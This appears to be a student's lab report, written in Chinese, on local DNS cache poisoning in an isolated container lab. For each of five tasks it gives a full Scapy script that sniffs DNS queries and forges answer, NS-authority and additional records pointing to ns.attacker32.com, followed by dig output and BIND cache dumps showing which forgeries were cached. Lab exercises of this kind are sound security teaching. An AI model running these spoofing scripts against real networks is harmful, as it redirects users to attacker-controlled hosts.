57118133 钟杰

测试初始环境

获得ns.attacker32.com的IP

root@e79ae8ffcbde:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44600

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

; COOKIE: 445a585383b205220100000060f93e14b128f793695213e1 (good)

;; QUESTION SECTION:

;ns.attacker32.com. IN A

;; ANSWER SECTION:

ns.attacker32.com. 259200 IN A 10.9.0.153

;; Query time: 4 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 09:44:52 UTC 2021

;; MSG SIZE rcvd: 90

获得[www.example.com的IP](http://www.example.com的IP)

直接询问无法获取

root@e79ae8ffcbde:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;; connection timed out; no servers could be reached

通过询问ns.attacker.com才能获取

root@e79ae8ffcbde:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com

; (1 server found)

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58154

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

; COOKIE: fdcc0e9b1632b8790100000060f93e8b16384358ecf85fdd (good)

;; QUESTION SECTION:

;www.example.com. IN A

;; ANSWER SECTION:

www.example.com. 259200 IN A 1.2.3.5

;; Query time: 0 msec

;; SERVER: 10.9.0.153#53(10.9.0.153)

;; WHEN: Thu Jul 22 09:46:51 UTC 2021

;; MSG SIZE rcvd: 88

**Task1**

攻击代码如下

#!/usr/bin/env python3

from scapy.all import \*

def spoof\_dns(pkt):

if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

# Swap the source and destination IP address

IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

# Swap the source and destination port number

UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

# The Answer Section

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',

ttl=259200, rdata='10.9.0.153')

# Construct the DNS packet

DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=0, rd=0, qr=1,qdcount=1, ancount=1,an=Anssec)

# Construct the entire IP packet and send it out

spoofpkt = IPpkt/UDPpkt/DNSpkt

send(spoofpkt)

# Sniff UDP query packets and invoke spoof\_dns().

f = 'udp and dst port 53'

pkt = sniff(iface='br-f9b3af19d3d9',filter=f,prn=spoof\_dns)

攻击结果如下，可以看到成功伪造了DNS响应

root@e79ae8ffcbde:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16402

;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;www.example.com. IN A

;; ANSWER SECTION:

www.example.com. 259200 IN A 10.9.0.153

;; Query time: 60 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 10:17:38 UTC 2021

;; MSG SIZE rcvd: 64

**Task2**

攻击代码

#!/usr/bin/env python3

from scapy.all import\*

import sys

NS\_NAME = "example.com"

def spoof\_dns(pkt):

if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):

print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)

udp = UDP(dport=pkt[UDP].sport,sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='10.9.0.153') # Create an aswer record

dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=0,rd=0,qr=1,qdcount=1,ancount=1,an=Anssec) # Create a DNS object

spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet

send(spoofpkt)

myFilter = "udp and dst port 53" # Set the filter

pkt=sniff(iface='br-f9b3af19d3d9', filter=myFilter, prn=spoof\_dns)

攻击效果如下，可以看到user主机得到的[www.example.com的IP](http://www.example.com的IP)是伪造的IP

root@e79ae8ffcbde:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32838

;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;www.example.com. IN A

;; ANSWER SECTION:

www.example.com. 259200 IN A 10.9.0.153

;; Query time: 56 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 10:58:28 UTC 2021

;; MSG SIZE rcvd: 64

查看本地dns路由器的cache，如图，可以看到已经成功实现投毒

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep example

\_.example.com. 863991 A 10.9.0.153

www.example.com. 863991 A 10.9.0.153

**Task3**

攻击代码

#!/usr/bin/env python3

from scapy.all import\*

import sys

NS\_NAME = "example.com"

def spoof\_dns(pkt):

if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):

print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)

udp = UDP(dport=pkt[UDP].sport,sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='10.9.0.153')

NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')

dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=1,an=Anssec,ns=NSsec1)

spoofpkt = ip/udp/dns

send(spoofpkt)

myFilter = "udp and dst port 53"

pkt=sniff(iface='br-f9b3af19d3d9', filter=myFilter, prn=spoof\_dns)

攻击效果如下，可以看到user主机得到了ns.attacker32.com伪造的mail.example.com的IP

root@e79ae8ffcbde:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41862

;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:

;mail.example.com. IN A

;; ANSWER SECTION:

mail.example.com. 259200 IN A 10.9.0.153

;; AUTHORITY SECTION:

example.com. 259200 IN NS ns.attacker32.com.

;; Query time: 64 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 11:14:01 UTC 2021

;; MSG SIZE rcvd: 108

查看本地dns路由器的cache，如图，可以看到有域名example.com的服务器的记录，由于之前有过一次对mail.example.com的DNS查询因此还有该地址的记录，攻击成功

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep example

example.com. 863991 NS ns.attacker32.com.

\_.example.com. 863991 A 10.9.0.153

mail.example.com. 863991 A 1.2.3.6

Task4

攻击代码

#!/usr/bin/env python3

from scapy.all import\*

import sys

NS\_NAME = "example.com"

def spoof\_dns(pkt):

if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):

print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)

udp = UDP(dport=pkt[UDP].sport,sport=53)

NSsec1=DNSRR(rrname='google.com',type='NS',ttl=259200,rdata='ns.attacker32.com')

NSsec2=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')

dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=0,nscount=2,ns=NSsec1/NSsec2)

spoofpkt = ip/udp/dns

send(spoofpkt)

myFilter = "udp and dst port 53"

pkt=sniff(iface='br-f9b3af19d3d9', filter=myFilter, prn=spoof\_dns)

攻击效果，得到了由ns.attacker32.com伪造的IP

root@e79ae8ffcbde:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28455

;; flags: qr aa; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 0

;; QUESTION SECTION:

;www.example.com. IN A

;; AUTHORITY SECTION:

google.com. 259200 IN NS ns.attacker32.com.

example.com. 259200 IN NS ns.attacker32.com.

;; Query time: 56 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 11:29:26 UTC 2021

;; MSG SIZE rcvd: 116

查看本地路由器的缓存，发现只有example.com域名的NS项，没有google.com的项

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep example

example.com. 863998 NS ns.attacker32.com.

www.example.com. 863998 A 1.2.3.5

将攻击代码中检测条件改为google.com，user主机dig [www.google.com](http://www.google.com)，发现本地路由器中的缓存如下

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep google

google.com. 863987 NS ns.attacker32.com.

; www.google.com A [lame TTL 587]

说明只能实现对DNS查询的域名对应域进行NS伪造攻击

Task5

攻击代码

#!/usr/bin/env python3

from scapy.all import\*

import sys

NS\_NAME = "example.com"

def spoof\_dns(pkt):

if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):

print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)

udp = UDP(dport=pkt[UDP].sport,sport=53)

Anssec=DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata='6.6.6.6')

NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')

NSsec2=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')

Addsec1=DNSRR(rrname='ns.attacker32.com',type='A',ttl=259200,rdata='1.2.3.4')

Addsec2=DNSRR(rrname='ns.example.com',type='A',ttl=259200,rdata='5.6.7.8')

Addsec3=DNSRR(rrname='www.facebook.com',type='A',ttl=259200,rdata='3.4.5.6')

dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/Addsec2/Addsec3)

spoofpkt = ip/udp/dns

send(spoofpkt)

myFilter = "udp and dst port 53"

pkt=sniff(iface='br-f9b3af19d3d9', filter=myFilter, prn=spoof\_dns)

攻击效果，得到的是ns.attacker32.com伪造的IP而非程序伪造的IP。既然这个伪造报文已经影响了本地服务器对应域的ns，那其answer部分应该不可能比本地域名服务器再向ns询问更慢，因此原因不明。

root@e79ae8ffcbde:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42591

;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:

;www.example.com. IN A

;; ANSWER SECTION:

www.example.com. 259200 IN A 6.6.6.6

;; AUTHORITY SECTION:

example.com. 259200 IN NS ns.attacker32.com.

example.com. 259200 IN NS ns.attacker32.com.

;; ADDITIONAL SECTION:

ns.attacker32.com. 259200 IN A 1.2.3.4

ns.example.com. 259200 IN A 5.6.7.8

www.facebook.com. 259200 IN A 3.4.5.6

;; Query time: 64 msec

;; SERVER: 10.9.0.53#53(10.9.0.53)

;; WHEN: Thu Jul 22 11:39:35 UTC 2021

;; MSG SIZE rcvd: 243

本地路由器缓存如图，没有facebook项

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep example

example.com. 863995 NS ns.attacker32.com.

\_.example.com. 863995 A 6.6.6.6

www.example.com. 863995 A 1.2.3.5

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep attacker32

ns.attacker32.com. 615595 \-AAAA ;-$NXRRSET

; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400

example.com. 863995 NS ns.attacker32.com.

; ns.attacker32.com [v4 TTL 1795] [v6 TTL 10795] [v4 success] [v6 nxrrset]

root@b86c47323a6d:/# cat /var/cache/bind/dump.db | grep facebook